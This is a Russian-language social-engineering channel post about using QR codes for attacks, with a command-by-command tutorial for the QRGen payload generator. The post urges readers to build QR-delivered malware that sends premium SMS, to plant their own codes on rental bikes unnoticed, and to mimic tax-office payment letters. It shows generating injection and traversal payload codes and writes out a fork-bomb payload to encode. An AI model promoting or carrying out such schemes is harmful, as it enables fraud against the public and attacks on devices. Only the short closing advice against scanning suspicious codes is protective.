QRgen. QR-код как средство взлома.
Social EngineeringПривет подписчикам канала Social Engineering. Сегодня поговорим о QR кодах. Расскажу где применяются. Что можно сделать с помощью Вашего QR кода, и расскажу о тулзе QRGen.
Предисловие.
Я не буду тут расписывать что такое QR код и лить воду. Можно зайти в вики и почитать.( кстати о вики, скоро ее заблочат на территории РФ. но это не по теме и об этом я напишу во втором канале) Скажу только что QR код может хранить 7089 цифровых знаков и 4296 буквенно-цифровых, и этого более чем достаточно, чтобы вместить текст или адрес ссылки. Поехали дальше.
Представь. Ты сканируешь такой код с помощью смартфона и он направляет тебя по ссылке, на которой располагается вредоносный файл (APK или JAR). Такие коды существуют и набирают популярность. ( Ниже распишу где можно пременить ).
Тут все зависит от Вашей фантазии. Имею ввиду какой вредоносный файл вы сможете придумать. Например перейдя по ссылке. Юзер установит зловред, который будет отправлять SMS на короткий номер по 100р за 1 sms. Тут можно придумать все что угодно, это был как пример.
Social Engineering
Теперь, где применяются и как распространяются QR коды. Давайте возьмем в пример наш "Любимый" Китай. Там оплата всего на свете идет посредством QR кода. От оплаты еды и лекарств до оплаты электросамокатов и велосипедов.
Кстати если Вы живете в крупном городе, да и не только в крупном, Вы скорее всего замечали что очень часто на улице можно встретить аренду электросамокатов и велосипедов, где оплата осуществляется через мобильное приложение, а что бы скачать это мобильное приложение нужно отсканить QR код. Что Вам мешает прилепить на велосипед свой QR код ? Разумеется предпринять определенные меры безопасности что бы остаться незамеченным.
https://www.luckybike.co/ - Вот ссылка на ресурс с арендой велосипедов.
Давайте разберем другой способ.
Суть схемы такая, жертва получает письмо с требованием оплатить налоги. В качестве отправителя указана Федеральная налоговая служба, а в письме указана сумма платежа и содержится QR-код, по которому можно осуществить перевод с помощью смартфона. Злоумышленники надеются, что получивший такую бумагу пользователь поспешит заплатить, чтобы не столкнуться с пени и штрафами.
Тут можно придумать все что угодно и зависит только от Вас.
Погнали дальше.....
QRgen.
Поскольку человек не может распознать вредоносный QR-код до его фактического сканирования, относительно большая полезная нагрузка QR-кода может принести пользу хакеру, особенно в сочетании с уязвимыми устройствами. Инструмент, который мы будем использовать сегодня для их создания, называется QRGen. QRGen использует полезную нагрузку и закодирует ее в QR-код, используя Python.
Доступ к категориям полезных нагрузок, доступных в QRGen, можно получить с помощью флага -I и номера во время выполнения скрипта. Номер и тип полезной нагрузки указаны ниже:
0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal
Чтобы создать множество вредоносных QR-кодов для тестирования, содержащих нечеткие полезные нагрузки строк, нам нужно просто запустить QRGen.py -l 5
Что нам потребуется:
Чтобы использовать QRGen, вам нужно установить Python3. Поскольку он кроссплатформенный, это должно быть возможно в любой операционной системе. Вам также понадобятся несколько библиотек Python, включая qrcode, Pillow и argparse, которые мы установим во время установки.
1) Установка QRGen
Чтобы начать работу с QRGen, нам нужно скачать его с GitHub . Мы сделаем это, выполнив команду ниже в окне терминала.
Код:
~$ git clone https://github.com/h0nus/QRGen Cloning into 'QRGen'... remote: Enumerating objects: 86, done. remote: Counting objects: 100% (86/86), done. remote: Compressing objects: 100% (78/78), done. remote: Total 86 (delta 26), reused 4 (delta 1), pack-reused 0 Unpacking objects: 100% (86/86), done.
Как только repo завершит загрузку, измените ( cd ) на его каталог и перечислите ( ls ) его содержимое, чтобы найти файл требований.
Код:
~$ cd QRGen ~/QRGen$ ls demo.gif qrgen.py README.md requirements.txt words
Теперь вам нужно убедиться, что у нас установлены все необходимые библиотеки. Для этого запустим установочный файл с помощью следующей команды.
Код:
~/QRGen$ pip3 install -r requirements.txt Collecting qrcode (from -r requirements.txt (line 1)) Downloading https://files.pythonhosted.org/packages/42/87/4a3a77e59ab7493d64da1f69bf1c2e899a4cf81e51b2baa855e8cc8115be/qrcode-6.1-py2.py3-none-any.whl Requirement already satisfied: Pillow in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (5.4.1) Collecting argparse (from -r requirements.txt (line 3)) Downloading https://files.pythonhosted.org/packages/f2/94/3af39d34be01a24a6e65433d19e107099374224905f1e0cc6bbe1fd22a2f/argparse-1.4.0-py2.py3-none-any.whl Requirement already satisfied: six in /usr/lib/python3/dist-packages (from qrcode->-r requirements.txt (line 1)) (1.12.0) Installing collected packages: qrcode, argparse Successfully installed argparse-1.4.0 qrcode-6.1
Если это не сработает, вы также можете установить его с помощью этой альтернативной команды.
Код:
~/QRGen$ python3 -m pip install -r requirements.txt
2) Создание вредоносных QR-кодов и полезной нагрузки
Теперь вы сможете запустить скрипт, набрав python3 qrgen.py .
Код:
~/QRGen$ python3 qrgen.py e88 88e 888 88e e88'Y88 d888 888b 888 888D d888 'Y ,e e, 888 8e C8888 8888D 888 88" C8888 eeee d88 88b 888 88b Y888 888P 888 b, Y888 888P 888 , 888 888 "88 88" 888 88b, "88 88" "YeeP" 888 888 b 8b, QRGen ~ v0.1 ~ by h0nus usage: qrgen.py -l [number] usage: qrgen.py -w [/path/to/custom/wordlist] Payload lists: 0 : SQL Injections 1 : XSS 2 : Command Injection 3 : Format String 4 : XXE 5 : String Fuzzing 6 : SSI Injection 7 : LFI / Directory Traversal Tool to generate Malformed QRCodes for fuzzing QRCode parsers/reader optional arguments: -h, --help show this help message and exit Options for QRGen: --list {0,1,2,3,4,5,6,7}, -l {0,1,2,3,4,5,6,7} Set wordlist to use --wordlist WORDLIST, -w WORDLIST Use a custom wordlist Pay attention everywhere, even in the dumbest spot
Как видите, создавать полезные данные довольно просто. Для начала давайте создадим полезную нагрузку, содержащую строки формата. Для этого запустите QRGen со следующим аргументом.
Код:
~/QRGen$ python3 qrgen.py -l 5 e88 88e 888 88e e88'Y88 d888 888b 888 888D d888 'Y ,e e, 888 8e C8888 8888D 888 88" C8888 eeee d88 88b 888 88b Y888 888P 888 b, Y888 888P 888 , 888 888 "88 88" 888 88b, "88 88" "YeeP" 888 888 b 8b, QRGen ~ v0.1 ~ by h0nus Payload path generated.. Path already cleared or deleted.. Generated 46 payloads! Opening last generated payload... Thanks for using QRGen, made by H0nus..
Будет сгенерирована серия QR-кодов, и последний из созданных откроется автоматически.
Для того, чтобы увидеть остальную часть ваших полезных нагрузок, вы можете набрать cd genqr для перехода в каталог, в котором они созданы и ls его содержимое.
Код:
~/QRGen$ cd genqr ~/QRGen/genqr$ ls payload-0.png payload-19.png payload-28.png payload-37.png payload-4.png payload-10.png payload-1.png payload-29.png payload-38.png payload-5.png payload-11.png payload-20.png payload-2.png payload-39.png payload-6.png payload-12.png payload-21.png payload-30.png payload-3.png payload-7.png payload-13.png payload-22.png payload-31.png payload-40.png payload-8.png payload-14.png payload-23.png payload-32.png payload-41.png payload-9.png payload-15.png payload-24.png payload-33.png payload-42.png payload-16.png payload-25.png payload-34.png payload-43.png payload-17.png payload-26.png payload-35.png payload-44.png payload-18.png payload-27.png payload-36.png payload-45.png
3) Кодирование пользовательских полезных нагрузок
Чтобы кодировать пользовательскую полезную нагрузку, мы можем сначала создать текстовый файл, содержащий то, что мы хотим закодировать. Каждая строка будет новой полезной нагрузкой. Для создания нового текстового файла набираем nano badstuff.txt
Код:
~/QRGen/genqr$ nano badstuff.txt
В этот текстовый файл мы можем поместить нашу полезную нагрузку. Та, что ниже, - это бомба-вилка.
Код:
:(){ :|: & };:
Мы можем сохранить его, нажав Control X , затем нажмите Y и Enter, чтобы подтвердить сохранение. Теперь вы должны увидеть текстовый файл, содержащий вашу полезную нагрузку.
Код:
~/QRGen/genqr$ ls badstuff.txt payload-18.png payload-27.png payload-36.png payload-45.png payload-0.png payload-19.png payload-28.png payload-37.png payload-4.png payload-10.png payload-1.png payload-29.png payload-38.png payload-5.png payload-11.png payload-20.png payload-2.png payload-39.png payload-6.png payload-12.png payload-21.png payload-30.png payload-3.png payload-7.png payload-13.png payload-22.png payload-31.png payload-40.png payload-8.png payload-14.png payload-23.png payload-32.png payload-41.png payload-9.png payload-15.png payload-24.png payload-33.png payload-42.png payload-16.png payload-25.png payload-34.png payload-43.png payload-17.png payload-26.png payload-35.png payload-44.png
Чтобы записать полезную нагрузку в QR-код, мы будем использовать флаг -w . Предполагая, что ваш файл полезных данных называется «badstuff.txt», команда для этого должна выглядеть следующим образом (не забудьте заранее вернуться в каталог QRGen).
Код:
~/QRGen/genqr$ cd .. ~/QRGen$ python3 qrgen.py -w '/username/QRGen/genqr/badstuff.txt' e88 88e 888 88e e88'Y88 d888 888b 888 888D d888 'Y ,e e, 888 8e C8888 8888D 888 88" C8888 eeee d88 88b 888 88b Y888 888P 888 b, Y888 888P 888 , 888 888 "88 88" 888 88b, "88 88" "YeeP" 888 888 b 8b, QRGen ~ v0.1 ~ by h0nus Payload path exist, continuing... Path already cleared or deleted.. Generated 1 payloads! Opening last generated payload... Thanks for using QRGen, made by H0nus..
Для моей полезной нагрузки вилка- бомба сгенерируется QR-код , который и появится ниже .
Заключение.
Не сканируйте QR-коды без особой необходимости.
QR-коды могут содержать много информации, и могут даже быть отформатированы, чтобы заставить устройство выполнять такие действия, как подключение к сети Wi-Fi. Это делает сканирование QR-кода рискованным, поскольку у человека нет возможности прочитать информацию(возможность есть,но не все о ней знают), прежде чем подвергать ваше устройство какой-либо полезной нагрузке, содержащейся внутри. Если вы сканируете QR-код, который кажется подозрительным, обратите внимание на то, что код пытается запустить, не подключайтесь к сети Wi-Fi и не переходите по сокращенной ссылке.
Social Engineering - Канал посвященный психологии, социальной инженерии, профайлингу, НЛП, Хакингу, Анонимности и безопасности в сети интернет, Даркнету и все что с ним связано. Добро пожаловать ;-)
S.E.Book - Литература социального инженера.
@Social_Engineering_bot - Бот обратной связи.